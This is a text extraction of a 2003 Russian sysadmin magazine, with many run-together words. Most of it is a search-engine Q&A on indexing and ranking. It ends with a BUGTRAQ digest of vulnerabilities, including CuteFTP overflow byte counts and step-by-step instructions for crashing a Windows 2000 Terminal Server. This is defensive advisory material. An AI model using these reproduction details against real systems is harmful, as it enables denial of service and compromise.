Существует довольно распространенное срединовичков заблуждение, что задача хорошего позициони-рования сайта в поисковых системах сводится к вставкена страницы неких мета-тегов. На самом деле, грамотноесоставление мета-тегов keywords и description полезно,но имеет второстепенное значение, некоторые поисковыесистемы эти теги вообще не учитывают, а те, что учиты-вают (к ним относится, в частности, Апорт) не придают имбольшого значения.

В связи с тем, что значительное число вебмас-теров пытаются фальсифицировать данные в мета-тегах,наша поисковая система не учитывает эти данные при оп-ределении порядка выдачи документов.

На Lycos и Апорте в строке поиска можно задаватьказахские слова, используя специфические символыказахского языка и успешно находить необходимуюинформацию. Большое им спасибо!

Почему бы на Рамблере и Яндексе это не реализо-вать? Понимаю, что под всех подстроиться нелегко, нонабирать казахские слова кириллицей не всегда удоб-но. Тем более, что в Win2000 встроена поддержка ка-захского языка.

Мы планируем реализовать поддержку ка-захского языка в ближайшем будущем.

К сожалению, казахских сайтов еще очень и оченьмало, кроме того, до сих пор не устоялся способ пред-ставления казахских букв. Есть разные варианты. Но вцелом вы правы, мы над этим работаем.

Можно ли таким образом настроить механизм круп-нейших поисковых систем, чтобы поиск осуществлял-ся корректно независимо от того, на каком языке сде-лан запрос, то есть включить поддержку специфичес-ких символов всех языков народов Мира, или хотя бытех языков, которые используются при создании веб-сайтов в настоящее время?

В случае каждой отдельно взятой поиско-вой системы это возможно, однако представляется лишен-ным смысла заниматься поддержкой специальных сим-волов, скажем, японского языка в российских поисковыхсистемах. Мы планируем решить проблему поиска сим-волов, о которых вы говорите, в ближайшем будущем.

Полностью корректным такой поиск быть не может.Ни одна поисковая система не в состоянии разрешить мас-су неоднозначностей, возникающих в такой многоязыч-ной гетерогенной среде, как Интернет. Тем не менее«крупнейшие» поисковые системы как раз поддержива-ют относительно корректный поиск по многим языкам икодировкам. Яндекс тоже двигается в этом направлении.

Наша поисковая система поддерживает поискпрактически на всех европейских языках. Для украинско-го, русского и английского поиск идет с учетом словооб-разования этих языков.

Индексируют ли поисковики внешние файлы CSS?

Нет, описания стилей не индексируются, таккак они содержат не информацию, а правила ее отобра-жения, то есть правила формирования графическогооформления страницы.

В этих файлах не бывает текстов. Подробности по-ведения робота – без комментариев.

Правильнее говорить в данном случае не об ин-дексировании – индексировать в CSS нечего, а об извле-

Page 56: 004 Системный Администратор 03 2003

54

поиски истины

основном преодолен при помощи методов, анализирующихтексты не изолированно, а в социальной сети. Анализ соци-альной сети – общее место всех современных поисковыхсистем. Именно в этом направлении следует сейчас ожи-дать дальнейшего развития. Но уже не революционного.

Революция уже случилась. Смена парадигмы произош-ла только что! Пользуясь словарем книги Томаса Куна «Па-радигмы научных революций», можно сказать, что фазаароморфоза заканчивается прямо на наших глазах. Мысейчас наблюдаем переход от ароморфоза к идеоадап-тации. Интересно отметить, что в пост-революционнуюфазу в массовом сознании все еще бытуют дореволюци-онные представления.

Хорошо или плохо ищут современные поисковыесистемы – это вопрос больше риторический, если сравни-вать с некой идеальной поисковой системой, то, конечно,получится, что плохо. К счастью, для того чтобы быть полез-ной пользователям, то есть помогать им найти нужную ин-формацию, поисковая система не обязательно должна бытьидеальной, в большинстве случаев с этой задачей поиско-вики справляются. Революционных изменений в ближайшембудущем не ожидаются, скорее, все-таки эволюционные.

На мой субъективный взгляд, в Рунете сейчас суще-ствуют три кита в сфере поисковых систем: Яндекс,Рамблер, Апорт. Но к сожалению, не одна из этих ПС невладеет технологией реально качественного поиска ин-формации. Результаты поиска в данных ПС состоят на95-98% из «мусора», который не представляет для искав-ших никакого интереса, а лишь стресс, потерю времении средств. Не собираются ли руководители этих трех ПСобъединить свои знания, опыт и усилия, и начать разра-ботку ПС нового поколения, которая бы несомненно былабы более совершенной? Имеет ли вообще место даннаяидея? Или это по каким-то причинам бесполезно?

Вопрос, на наш взгляд, аналогичен вопро-су «почему все производители автомобилей не объеди-нятся и не создадут один самый-самый-самый автомобильна все случаи жизни».

Тема «мусора» поднимается повторно. Если речьидет о все том же «понимании естественного языка», то та-кой прогресс никому не нужен (см. выше). Объединение радичего? Качество сейчас у всех достойное.

Про субъективность оценки качества поиска го-ворили в предыдущем вопросе, но про 95-98% «мусора» –это очень сильное преувеличение. Что касается объедине-ния усилий, то, если бы такое и было возможно, вряд лиэто само по себе позволило бы создать поисковую систе-му нового поколения.

Есть ли какой-то стандарт расширенных запросовдля поисковых систем, или каждая система придумы-вает ее заново?

Строгого стандарта, принятого в качестве

чении информации о форматировании документов, ис-пользующих данный CSS. Насколько мне известно, на дан-ный момент ни одна поисковая система этого не делает.

Мета не индексирует CSS.

Сегодня еще не разработана поисковая система, ко-торая бы удовлетворяла своих пользователей. Суще-ствуют лишь подобия идеальной поисковой системы,КПД которых сравним с КПД паровоза: отношение ко-личества найденных страниц, удовлетворяющихпользователя, к общему количеству найденных стра-ниц. Кроме этого, найденные ссылки на страницы,удовлетворяющие пользователя, находятся зачастуюне в первых 50-ти. Какие технологии и разработки всфере поисковых систем будут применяться и вне-дряться в ближайшие годы? Следует ли ожидать в бли-жайшем будущем революционного (инновационного)подхода к поиску информации, который бы сделалпоиск в Интернете во много раз эффективнее?

Сложно ответить кратко на такой длинныйсписок вопросов и утверждений, так что попробуем ра-зобраться по порядку. Бесспорно, удовлетворяющая всехпользователей поисковая система в настоящий моментеще не разработана; более того, можно утверждать, чтотакая поисковая система не будет разработана никогда,поскольку требования пользователей зачастую противо-речат друг другу.

Сложно судить, что такое КПД в случае поисковой сис-темы. Качество поиска оценивается двумя величинами – пол-нотой и точностью. Так вот, и по независимым, и по корпо-ративным оценкам, проводимым уже несколько лет и Апор-том, и Рамблером, и Яндексом – у всех трех поисковиковточность давно перевалила за 90%. Такая оценка произво-дится экспертами на основе анализа нескольких первых стра-ниц выдачи поисковых машин; при этом оценка точности вы-числяется как отношение количества соответствующих зап-росу документов к количеству документов на анализируе-мом количестве страниц. Так что если фраза «КПД парово-за» означает «13%», то это – или большое заблуждение,или проявление неспособности конкретного пользователясформулировать запрос. Действительно, нельзя ожидатьвысокой точности поиска подробностей теракта 11 сентяб-ря по запросу «новости» через год после событий.

Если речь идет о тех пользователях, которые, не жа-лея сил, стремятся задать запрос на естественном языке, тоих удовлетворить невозможно. Да их никто и не удовлетво-ряет. Их просто не существует (в статистическом смысле).

Остальные полмиллиарда счастливы тому миру откры-вающихся возможностей, который появился в их компью-тере вместе с поисковыми системами.

Именно поисковые системы, то есть возможность на-ходить нужную информацию в Интернете, – основной до-вод в пользу покупки и установки компьютера в после-дние два-три года в нашей стране.

Описывается ситуация, сложившаяся в технологиии ПСна рубеже 98-99 годов. В настоящее время этот кризис в

Page 57: 004 Системный Администратор 03 2003

55№3(4), март 2003

поиски истины

руководства к действию, не существует. Однако существу-ют сложившиеся традиции. Так, например, почти все по-исковые машины поддерживают булев язык запросов, гдеиспользуются операторы «И», «ИЛИ», «И_НЕ», а выра-жения могут быть сгруппированы скобками. При вычис-лении же запросов без операторов каждая команда раз-работчиков принимает свои собственные решения. Так,например, Рамблер по запросу в двойных кавычках вы-полняет поиск на точное вхождение фразы в документ.

Есть законодатели мод. Есть подражатели. У пре-дыдущего законодателя (AltaVista) стандарт был доста-точно приятным и его многие скопировали. У нынешного(Google) – настолько неэстетичен (в своей оригинальнойчасти), что пока никто не хочет его повторять. Но, вооб-ще-то, я согласен, что отсутствие стандарта – это хотя ине очень большая, но все же проблема для пользователей.

Стандарта нет, у каждой системы свой язык.

Считаете ли вы возможным в течение 5-7 лет со-здать поисковую систему нового поколения, котораябы общалась с пользователем не на формальном язы-ке запросов, а на присущем человеку голосе? И явля-ется ли данная концепция одним из основных направ-лений в создании идеальной поисковой системы? Как,по-вашему, должна выглядеть идеальная поисковаясистема (как в сети Интернет, так и вообще)?

5-7 лет – очень большой срок для инфор-мационных технологий. Уже сейчас некоторые автомоби-ли оснащаются речевым интерфейсом к сети Интернет.Поэтому то, о чем вы говорите, вполне реально.

Поисковые системы нового поколения уже созда-ны. Следующая революция по Куну должна случиться летчерез двадцать-тридцать.

Не очень понятно, при чем тут голос, если име-ется в виду распознавание речи, то в этой области я неспециалист. Если же речь про понимание естественногоязыка, то создать систему, полноценно понимающую ес-тественный язык, в указанные сроки нереально.

Демоверсию системы, работающей с голосом,можно увидеть по адресу: http://labs1.google.com/gvs.html.Думаем, что в ближайшие 5-7 лет появятся работающиепрототипы поисковой системы, отвечающей на естествен-но-языковые запросы, заданные голосом.

Можно ли организовать полнотекстовой поиск в ар-хиве документов на CD? Есть ли программы для ин-дексирования и поиска на CD-архивах? Какие?

Да, конечно, есть такие программы – например,Яndex.CD (http://company.yandex.ru/programs/cd/).

У нашей компании разработана технология по-иска по СD.

Возможно ли в ближайшее время увидеть ново-введение в поисковых системах, заключающееся вдобавлении модуля «интеллектуального распознава-ния» пользователя? То есть в зависимости от того,что обычно ищет пользователь, какие разделы ка-талога поисковой системы он посещает, поисковаясистема начинает «делать для себя выводы» о том,что интересует пользователя и к какой тематике онближе. Таким образом ПС определяет более узкуюсферу поиска, что может привести к более высоко-му качеству работы ПС. Кажется ли вам эта концеп-ция ключевой в дальнейшем совершенствовании по-исковых систем?

Построение «профиля пользователя», не-которой меры круга его интересов, давно уже представ-ляется весьма заманчивой идеей. Некоторые шаги в этомнаправлении уже сделаны. Так, Рамблер в ответ на зап-рос выдает так называемый «список ассоциаций», тоесть те запросы, которые искали другие пользователи сподобным кругом интересов. Рейтинг Top100 также по-зволяет собирать подобную информацию, так как наборпосещаемых сайтов характеризует пользователя. Одна-ко в поиске эти данные пока не используются: автомо-билист, который ищет «египет», вряд ли интересуетсяегипетским автопромом.

Этот модуль уже был реализован (в частности, Аль-тависта и, кажется, Excite) примерно в 1999 году, замет-ного эффекта не дал и от него пришлось отказаться.

Ключевой не кажется, пользователь явно опре-деляет, что его в данный момент интересует, вводя поис-ковый запрос. Сужать сферу поиска на основе каких-то дру-гих данных было бы вообще неправильно, речь может идтитолько о повышении приоритета документам, предположи-тельно относящимся к сфере интересов пользователя. Этоможет быть полезно в некоторых случаях, но радикально-го повышения качества поиска в целом не обещает.

С точки зрения руководителей поисковых системЯндекс, Рамблер, Апорт: данные системы качествен-но превосходят своих иностранных собратьев или нет?Мне было бы интересно получить ответ на данный воп-рос с двух позиций:

а) В отдельности по каждой системе.б) В совокупности, т.е. лучше ли русские поиско-

вые системы (вместе взятые) иностранных (вместевзятых)? (Должны учитываться только качественныехарактеристики нахождения информации в сети Ин-тернет.)

Ответить на такой вопрос можно только втом случае, если есть критерии сравнения. Если речь идето поиске по российским ресурсам, то, конечно, для этогороссийские поисковики подходят гораздо лучше. Простопотому, что они изначально для этого проектировались.

Поисковик – это многоаспектная система. Счет

Page 58: 004 Системный Администратор 03 2003

56

поиски истины

Есть ли возможность у вашего робота двигатьсяпо ссылкам, код которых генерируется динамичес-ки? Вопрос связан с применением разного рода поп-ап и ролл-аут, даун меню... с их программной реали-зацией.

В настоящий момент робот учитывает ссыл-ки, сформированные средствами HTML, и не выделяетссылок из различных скриптов (JavaScript, VBScript): онпопросту их игнорирует.

Подробности поведения робота – без комментариев.

Если речь идет о ссылках, генерируемых брау-зером при исполнении скриптов, то нет.

Насколько важно присутствие и содержание header-тегов (h1, h2 ...) на индекисруемых документах?

Поисковые системы, и Рамблер в том чис-ле, ориентированы прежде всего на веб-документы, такчто форматирование имеет не последнее значение. Ко-нечно, оно учитывается при вычислении релевантности.

Подробности поведения робота – без комментариев.

Текст, заключенный в эти теги, обычно (если имине злоупотребляют) имеет несколько более высокий веспри подсчете релевантности.

Теги h1, h2 и т. п. учитываются при определениипорядка выдачи документов.

При предоставлении информации существуют не-сколько очень важных факторов (на мой взгляд): за-конность информации, достоверность информации,актуальность информации. По каждому пункту у меняимеются отдельные вопросы:

а) Считаете ли вы, что поисковые системы не дол-жны (или не имеют права) предоставлять ссылки настраницы с содержанием, которое противоречит за-конам и моральным нормам? Если да, то будете ли высоздавать такую поисковую систему, которая не будетвыдавать ссылки на похабщину, порно и другое?

б) Считаете ли вы, что поисковые системы должнысодержать в своей БД ссылки только на страницы сдостоверной информацией (или иметь такую опцию,чтобы пользователь сам для себя решал: искать дос-товерное или нет)? Если да, то как, по-вашему, даннаяконцепция реализуема, или это невозможно?

в) Считаете ли вы, что поисковые системы должныиметь более развитое средство (чем указание при по-иске «даты документа»), позволяющее пользователюнаходить только ссылки на страницы с актуальной ин-формацией? Если да, то вы работаете над этим? (Я счи-таю, что ПС предоставляют информацию в виде ссы-лок на источник и выдержки из данного источника, ко-торую так же можно отнести к одному из перечислен-ным мною факторам).

факторов и возможностей идет на многие десятки. И укаждого крупного производителя ПС есть пункты, кото-рыми он гордится, уникальные, лучшие в мире и т. д. и т. п.

Есть, конечно, и недочеты, причем у всех без исклю-чения. Я могу долго перечислять наши сильные стороны,но лучше все-таки, чтобы вы прочитали это в независи-мом обзоре поисковых систем.

Какие документы, кроме html, индексирует вашасистема?

«Плоский» текст. Мы планируем расширитьсписок поддерживаемых форматов.

Rtf, pdf, gif, jpeg, png. Планируем добавить еще рядформатов.

Апорт индексирует только документы в форма-те html. Документы некоторых других форматов могут бытьнайдены по тексту ссылок на них из html-документов.

В Интернете наша поисковая система индекси-рует сейчас только html-документы. У нас есть решения,используемые нашими корпоративными заказчиками, по-зволяющие осуществлять поиск не только по html-доку-ментам, но и по документам форматов txt, rtf, doc, dot, xlsи другим популярным офисным форматам.

Почему Рамблер ведет подсчет найденных ресур-сов в документах, а другие поисковые машины – встраницах?

Рамблер, в отличие от многих других по-исковых машин, умеет «склеивать дубли» одного и тогоже текста, размещенные по разным адресам Сети, ихранит для таких текстов лишь одну копию. Поэтому припоиске он сообщает не количество найденных страниц,на которых есть слова запроса, а именно количествоуникальных текстов, содержащих эти слова. Именно по-этому мы используем при подсчетах термин «доку-мент», а не «страница». По нашим данным, миллионобработанных страниц порождает примерно 700 тысячуникальных документов. Соответственно, 300 тысяч яв-ляются копиями.

Каков максимальный размер документа или размертой части, что будет проиндексирована? Есть ли этоограничение?

Робот скачивает примерно 200 Кб текста, апрограммы индексирования обрабатывают первые 65535слов (знаки препинания считаются словами).

Подробности поведения робота – без комментариев.

128 kb.

Сейчас у нас стоит ограничение на первые 200 Кбдокумента.

Page 59: 004 Системный Администратор 03 2003

57№3(4), март 2003

поиски истины

Поисковая система в настоящий момент яв-ляется своего рода оглавлением к большой-большой кни-ге, или даже библиотеке, которая называется Интернет,поэтому вопрос о том, стоит ли находить по нецензурнымзапросам нецензурные документы, сродни вопросу о том,следует ли выносить нецензурные слова в алфавитныйиндекс книги. Оценка достоверности информации в авто-матическом режиме в настоящий момент вряд ли возмож-на, так как для этого требуется сформулировать соответ-ствующие критерии, которые сработали бы практическидля любого текста; ожидать же, что программный комп-лекс, даже имеющий в своем составе самое мощное лин-гвистическое ядро, справится с задачей, непосильнойдаже для человека, по меньшей мере, рано. Актуальностьинформации достигается в настоящий момент увеличе-нием частоты обхода сети Интернет поисковой системой.

Здесь есть несколько аспектов, среди которых –ответственность поисковой системы.

Мы считаем, что ПС – автоматическая система, и в этомсмысле не несет равной автору ответственности за содер-жание выдаваемой информации. Кроме того, мы не счита-ем себя вправе цензурировать содержание Интернета.

Однако с точки зрения пользовательского сервиса мыделаем все, чтобы помочь той очистке, о которой вы го-ворите. В частности, мы первая и до сих пор (вот уже 4года) единственная в России ПС, реализующая порно-фильтрацию при использовании «Семейного Яндекса»(family.yandex.ru). В настоящее время мы работаем надфильтрацией фашистских сайтов.

При хостинге сайтов у себя (на Народе) мы придержива-емся другой политики – не разрешаем размещать содержа-ние, «которое противоречит законам и моральным нормам»(см. Пользовательское соглашение http://www.yandex.ru/info/agreement.html).

Достоверность – это один из факторов, влияющих на ран-жирование при анализе социальной сети. Например, на вы-явление и удаление из результатов поиска (или понижениеранга) неоригинальных (скопированных) материалов наце-лены процедуры выявления и удаления точных и неточныхдубликатов и зеркал. Подробнее об этом можно прочитать внашей публикации на http://company.yandex.ru/articles/.

Да, мы активно работаем над проблемой выявления,индексации и ранжирования «новой» актуальной инфор-мации. Пока существенных результатов мы не добились,но готовим продвижение в сторону вовлечения в анализсоциальной сети фактора «новизны». Кроме того, с 2000-го года в параллельной выдаче Яндекса присутствует лен-та новостных агентств (более 50 участников), что частич-но снимает проблему «новизны».

Я не думаю, что поисковые системы должны за-ниматься цензурой. В то же время, предоставлениепользователю возможности исключения из поиска доку-ментов «только для взрослых», безусловно, полезна.

Достоверность определить, конечно, нельзя, можнотолько попытаться оценить ее по некоторым косвеннымпризнакам (к примеру, информация с корпоративногосайта известной компании заслуживает доверия в боль-

шей степени, чем информация с домашней страничкиВаси Пупкина). Не думаю, что в этом есть смысл, таккак критерии, по которым можно провести такую оцен-ку, слишком грубые.

Да, в некоторых случаях это очень существенно, на-пример, прайс-лист трехлетней давности пользователюпочти наверняка не нужен.

Какие объемы задействованы в хранении инфор-мации и как часто обновляется оборудование, задей-ствованное в хранении информации?

Поисковый индекс занимает в сумме 250 Гбдискового пространства, однако он, конечно же, разбит нанесколько частей, а части размещены на разных машинах.

Объемы мы регулярно сообщаем здесь: http://www.yandex.ru/chisla.html. Что понимается под обновле-нием оборудования: корпус и блок питания? диски? па-мять? В общем, оборудование постоянно обновляется.

Сейчас нами проиндексировано около 150 Гб до-кументов с украинских сайтов. Оборудование обновляет-ся по необходимости.

Как можно ускорить процесс поиска на заданномсервере определенной фразы\слова, причем поискидет не только по html’кам, но и по базе? Как изменя-ется алгоритм?

Ускорение поиска достигается сведением кминимуму операций ввода-вывода и глубокой оптимиза-цией всех используемых алгоритмов.

О каком поиске идет речь? Об индексации сайтаЯндексом? Поиск по нескольким источникам сделать мож-но, например, с помощью локальной версии Яндекса – про-граммы Яndex.Site.

Какую оценку вы бы поставили своей поисковой си-стеме по 10-бальной системе? Устраивает ли вас ка-чество поиска своей поисковой системы?

Качество поиска своей поисковой системыне может устраивать разработчиков. Если же такое слу-чится, то поисковая система перестанет развиваться, чтоприведет к коллапсу.

Оценки должны ставить не мы, а пользователи. Чтокасается качества – мы сами пользуемся Яндексом, непотому, что таковы корпоративные правила, а потому, чтомы делаем его и для себя, и нам удобно искать с его помо-щью. И, конечно, мы видим, куда нам расти и улучшаться.

В отношении качества поиска есть над чем ра-ботать (как, думаю, и другим поисковым системам).

Учитывают ли поисковые роботы HTML-теги, добав-ляющие структурную информацию в текстовые фра-

Page 60: 004 Системный Администратор 03 2003

58

поиски истины

вета, за день на эту службу приходят десятки писем и не-редко с очень сложными ситуациями.

Недавно мною был замечен новый паук Яндекса –YandexSomehing. Что это за паук, за что он отвечает?

Это не робот и не паук, а скрипт со странички «мойсайт глазами Яндекса».

Для общего ознакомления не могли бы вы выслатьисходные коды Яндекса? Можно ли взглянуть на алго-ритм Яндекса? Как часто он меняется?

Мы скоро выложим (собираемся оформить стра-ницу и написать лицензию) программу морфологическо-го разбора mystem в публичный некоммерческий доступ.После опубликования принципов работы, возможно, от-кроем и коды. Однако алгоритмы ранжирования и подав-ления спама или непотизма ни одна поисковая системане откроет никому и никогда.

Если Рамблер один раз уже нашел сайт и осуще-ствляет по нему поиск по словам на главной (или дру-гих еще ?) странице, то если содержимое сайта изме-нится, будет ли Рамблер проверять его еще раз илиэто происходит только единожды? Заранее спасибо.

Да, Рамблер периодически навещает обра-ботанные ранее сайты и обновляет свой индекс. Мы каж-дые несколько недель обновляем все страницы, которыебыли найдены пользователями хотя бы по одному поиско-вому запросу. Остальные страницы обновляются не реже,чем раз в 3 месяца. Примерно для трети всех сайтов, име-ющихся в базе, выполняется полное переиндексированиекаждый месяц. Конечно же, параллельно с этими процесса-ми непрерывно идет пополнение базы новыми страницами.

Чем руководствуются создатели ПС Rambler, не раз-решая своему пауку индексировать динамические сайты(*.pl, *.cgi, *.php,...), хотя всем известно, что *.htm, *.html –также могут быть страницами динамических сайтов?

Дело в том, что такие страницы очень час-то дублируют уже присутствующую в сети Интернет ин-формацию. Поэтому для того, чтобы уменьшить нагрузкуна систему, мы их исключали. Однако в прошлом годуначали эти ограничения снимать, и через некоторое вре-мя снимем их полностью.

Я тщательно подготовил описание сайта, ключевыеслова, прописал все теги «title» & «alt» (также поизу-чав материалы на сайтах основных поисковиков) ипосле этого стал регистрировать сайт во всех основ-ных поисковиках и каталогах (это было уже давно,месяцев 8-10 назад). Суть проблемы: Яндекс вполненормально нас проиндексировал и по статистике с негопостоянно идут посетители, примерно 200-250 в день;в то же время ни с Рамблера, ни с Апорта столько на-роду не приходит, а точнее вообще никого (от 2 до 5-6

зы? Конкретнее: теги <EM> и <STRONG>, предписан-ные стандартом для выделения? Если да, то в какойстепени эти теги усиливают значимость («вес») заклю-ченного в них текста? Хотя бы в сравнении с тегами<I> и <B>, которые они призваны заменить?

Да, Рамблер эти теги учитывает.

Подробности поведения робота – без комментариев.

<STRONG> учитывается наравне с <B>, <EM>не учитывается, как и <I>.

Теги <EM> и <STRONG> у нас не учитываютсяпри определении порядка выдачи.

Вопрос разработчикам Яндекса. Вчера зашёл на Ян-декс и в строке url своего браузера перед www.yandex.ruувидел иконку с красной буквой «Я» вместо обычногозначка html-документа. Как это было сделано и почемусегодня иконка пропала и появился привычный значок?

Вы, наверное, пользуетесь Мозиллой? Иконка наместе. Это картинка размером 16х16, которая лежит в кор-не сайта и называется favicon.ico.

Что для поисковой машины Яндекс означает тег мо-его сайта <META NAME=«ROBOTS» CONTENT=«ALL» инеобходим ли он?

Этот тег ничего нового роботу не сообщает. Роботтак и считает по умолчанию: «страницу индексировать,по ссылкам ходить».

Что я могу предпринять, чтобы Яндекс индексировалне только одну страницу моего сайта, а несколько?

Чтобы сайт индексировался нормально, очень ре-комендуется не писать в url сессионную куку, иначе с точ-ки зрения робота это каждый раз будут разные страницыи он будет тратить время на их обход, вместо индексациинастоящей информации.

На днях Яндекс переиндексировал наш сайт, вслед-ствие чего резко поднялся индекс цитирования и со-ответственно положение в результатах поиска (со вто-рой страницы поиска по запросу поднялся на первуюпозицию первой страницы!). Поначалу я подумал, чтопричиной этому стала индексация движка сайта (по-тому что Яндекс свидетельствовал о более чем 400страницах, но на самом деле оказалось, что Яндекс непроиндексировал ни одной страницы движка! А те 400страниц – это страницы форума сайта. Меня, как раз-работчика движка, очень интересует, почему Яндексне проиндексировал движок?

Этот вопрос надо задать в [email protected], там по-смотрят на сайт, на базу робота и ответят. Только, пожа-луйста, наберитесь терпения и не ждите немедленного от-

Page 61: 004 Системный Администратор 03 2003

59№3(4), март 2003

поиски истины

в день). Не подскажете, как это можно объяснить иисправить?

Рамблер и Яндекс используют разные алго-ритмы оценки соответствия документа или сайта запросу.Кроме того, аудитория этих поисковых систем различна.Постарайтесь переработать свой сайт так, чтобы содержи-мое было более релевантным целевому набору запросов.

В прессе много говорилось о том, что Рамблер сталиндексировать любые динамические страницы. Практи-ка показывает, что это не так. Некоторые сайты действи-тельно индексируются, а некоторые – нет. В ближайшеевремя большинство значимых для Рунета сайтов будутразрабатываться на основе CMS (Систем Управления Кон-тентом), а значит эти сайты будут полностью динамичес-кими. Подскажите, от чего сейчас зависит успешностьиндексирования динамического сайта в Рамблере?

Мы постепенно ослабляем ограничения на«динамические» страницы для всех без исключения сай-тов. Осенью мы ослабили ограничения для сайтов, пост-роенных на ASP (то есть для URL, содержащих подстроку«.asp?»). Недавно ослабили ограничение на PHP. Черезнекоторое время ограничений не останется вовсе.

Рамблер во многих случаях снимает такие ограниче-ния для сайтов, которые содержат, по мнению наших ре-дакторов, уникальную информацию и/или являются попу-лярными ресурсами. Также такие «послабления режима»возможны по просьбе авторов сайтов.

Выдержка из официальных сведений: «При поискересурсы, зарегистрированные в Top100, занимают пер-вые несколько позиций (до пяти) и упорядочены в со-ответствии со своей посещаемостью». Разве это пра-вильный подход в поиске информации? В результатеимеем следующую нелепую ситуацию: какой-нибудькрупный ресурс, объединяющий в себе большой наборразличных сервисов (например, мини-портал) и, имею-

щий очень высокую посещаемость только лишь за счетналичия большого информационного наполнения, по-лучает к себе большой приток посетителей. Релевант-ность документа в этом случае не играет никакой роли.

На самом деле релевантность документаимеет также важную роль. Нерелевантные запросу стра-ницы, пусть даже они и имеют огромный рейтинг Top100,все равно в выдачу не попадут. С другой стороны, из двухстраниц, имеющих подобное содержание, раньше будетпоказана та, которая зарегистрирована в Top100 и имеетбольший рейтинг. На наш взгляд, учет предпочтенийпользователей имеет большое значение.

Как мне известно, база данных поисковых системне хранит в чистом виде текст, найденный на страни-цах сайта. В БД сохраняются лишь какие-то слова сопределенной информацией о себе (как часто встре-чается, какой уровень значимости и т. д.). Так какимже образом работает функция «реконструкция текста»,например, в поисковой системе Апорт?

То, что вы пишете про БД, верно по отноше-нию к той ее части, которая используется при собствен-но поиске. Тексты документов (в сжатом виде и с упро-щенным форматированием), хранятся в отдельном хра-нилище и используются только для цитирования и ре-конструкции текста.

Мною на практике (на своих сайтах) замечено, чтопаук Апорта плохо индексирует сайты. Как правило,паук не индексирует больше 400 страниц, даже при по-вторном индексировании паук не заходит на остальныестраницы. С чем связано такое явление? (для справки,все страницы *.html и имеют перекрестные ссылки).

Апорт применяет квотирование количества ин-дексируемых документов с одного сайта. Размер квотыдля сайта определяется его индексом цитируемости.

Page 62: 004 Системный Администратор 03 2003

60

BUGTRAQ

Похищение сеанса другого пользователяв Compaq Insight ManagerУязвимость обнаружена в компоненте Compaq Web Agentв Compaq’s Foundation Agents для Windows на CompaqProliant Servers. Удаленный атакующий может войти в си-стему, похищая последний сеанс.

Сообщается, что Compaq Web Agent, используемыйдля удаленного управления серверами Compaq Proliantчерез Secure Sockets Layer (SSL), содержит недостаток вуправлении сеансами. Если заверенный пользователь зак-рывает браузер вместо того, чтобы нажать по ссылке the«Logout», то удаленный пользователь на том же самомхосте (или, возможно, с тем же самым IP) по сообщениямбудет способен получить доступ к сеансу целевого пользо-вателя в течении 15 минут. Уязвимость обнаружена вCompaq Insight Manager 5.1.0.

Переполнение буфера в Windows XPWindows Redirector используется клиентами Windows длядоступа к файлам, локальным или удаленным, независи-мо от используемых протоколов в сети. Например, мас-тер the «Add a Network Place» или команда NET USE мо-гут использоваться, чтобы отобразить сетевой ресурс какместный диск, и Windows Redirector обработает инфор-мацию маршрутизации к сетевому ресурсу и от него.

Уязвимость защиты обнаружена в выполнении WindowsRedirector на Windows XP. Переполнение буфера происхо-дит при получении информационных параметров. Обеспе-чивая некорректные данные к Windows Redirector, атакую-щий может аварийно завершить работу системы или вы-полнить произвольный код на уязвимой системе.

Платформы: Windows All.

Переполнение буфера в CuteFTPCuteFTP – популярный FTP-клиент для Windows-систем.

Обнаруженная уязвимость позволяет злонамеренно-му FTP-серверу выполнять произвольный код на системес уязвимым CuteFTP-клиентом.

В ответ на команду LIST от CuteFTP-клиента, удален-ный FTP-сервер может возвратить 257 байтов, которыевызовут переполнение буфера. Регистр EIP может бытьперезаписан полностью, посылая 260 байтов данных. Уяз-вимость обнаружена в CuteFTP build 50.6.10.2.

Множественные уязвимостив Linux MandrakeНесколько уязвимостей обнаружено в пакете «printer-drivers», поставляемом с Mandrake Linux. Локальныйпользователь может получить root-привилегии на уяз-вимой системе.� Переполнение буфера обнаружено в «mtink» при об-

работке переменной среды HOME. Локальный пользо-ватель может снабдить специально обработанную пе-ременную HOME, чтобы выполнить произвольный кодс привилегиями группы «sys».

� Переполнение буфера обнаружено в «escputil» при ана-лизе «printer name» параметра командной строки. Ло-кальный пользователь может снабдить специально об-работанное значение «printer name», чтобы выполнитьпроизвольный код с привилегиями группы «sys».

� Уязвимость состояния операции обнаружено при ис-пользовании временных файлов в «m185p». Локаль-ный пользователь с привилегиями группы «sys» мо-жет создать символьные ссылки от предсказуемыхвременных файлов к произвольным чувствительнымфайлам.

Уязвимость обнаружена в Linux(Mandrake) 8.0, 8.1, 8.2, 9.0.

Утечка информации в Linux 2.4.х kernelУязвимость обнаружена в Linux 2.4 kernel. Локальный пользо-ватель может прочитать некоторую информацию на файло-вой системе, к которой у него нет доступа. Уязвимость об-наружена в обработке O_DIRECT в Linux kernels 2.4.10 и бо-лее поздних версиях. Утечка информации позволяет локаль-ному пользователю с привилегиями на запись читать инфор-мацию на файловой системе из предварительно удаленныхфайлов. Локальный пользователь также способен незначи-тельно разрушить файловую систему, которая, как сообща-ется, может быть легко восстановлена, используя fsck. Уяз-вимость обнаружена в Kernel 2.4.10-2.4.18.

Недостаток в удалении почтовыхсообщений в Qualcomm EudoraНедостаток обнаружен в Qualcomm Eudora в пути, которымEudora удаляет почтовые сообщения из папки «Trash». Ког-да сообщения удалены из «Trash»-папки, они только поме-чены как удаленные и все еще присутствуют в Trash.mbx-файле. Сообщения будут удалены из Trash.mbx только ког-да пользователь выберет уплотнение почтовых ящиков. Уяз-вимость обнаружена в Qualcomm Eudora 5.2.

Переполнение буферав KaZaA Media DesktopУязвимость отказа в обслуживании обнаружена в KaZaAMedia Desktop. Удаленный пользователь при некоторыхобстоятельствах может аварийно завершить работу кли-ента. Согласно сообщению, уязвимость может использо-ваться для выполнения произвольного кода на системеклиента. Удаленный атакующий может вызвать перепол-нение буфера, изменяя запрос загрузки рекламы клиен-та. Уязвимость можно воспроизвести, запрещая все HTTP-подключения к хосту, с «ad» в имени домена. При запус-ке клиента работа его сразу аварийно завершится.

Уязвимость обнаружена в KaZaA Media Desktop 2.0.2.

DoS против Windows 2000 Terminal ServerЛюбой пользователь, способный войти в Windows 2000Terminal Server (через RDP или ICA) и обратиться к фай-ловой системе, может перезагрузить сервер. Пример:� Откройте %SYSTEMROOT%\SYSTEM32\MSGINA.DLL

для эксклюзивного доступа (блокировка чтения). На-пример, используя Radsoft HEXVIEW.EXE;

� Откройте новое подключение через RDP/ICA;� Щелкните на кнопку «Restart» в диалоговом окне пре-

дупреждения («msgina.dll failed to load»).

Уязвимость проверена на Windows 2000 Server SP2-SP3.

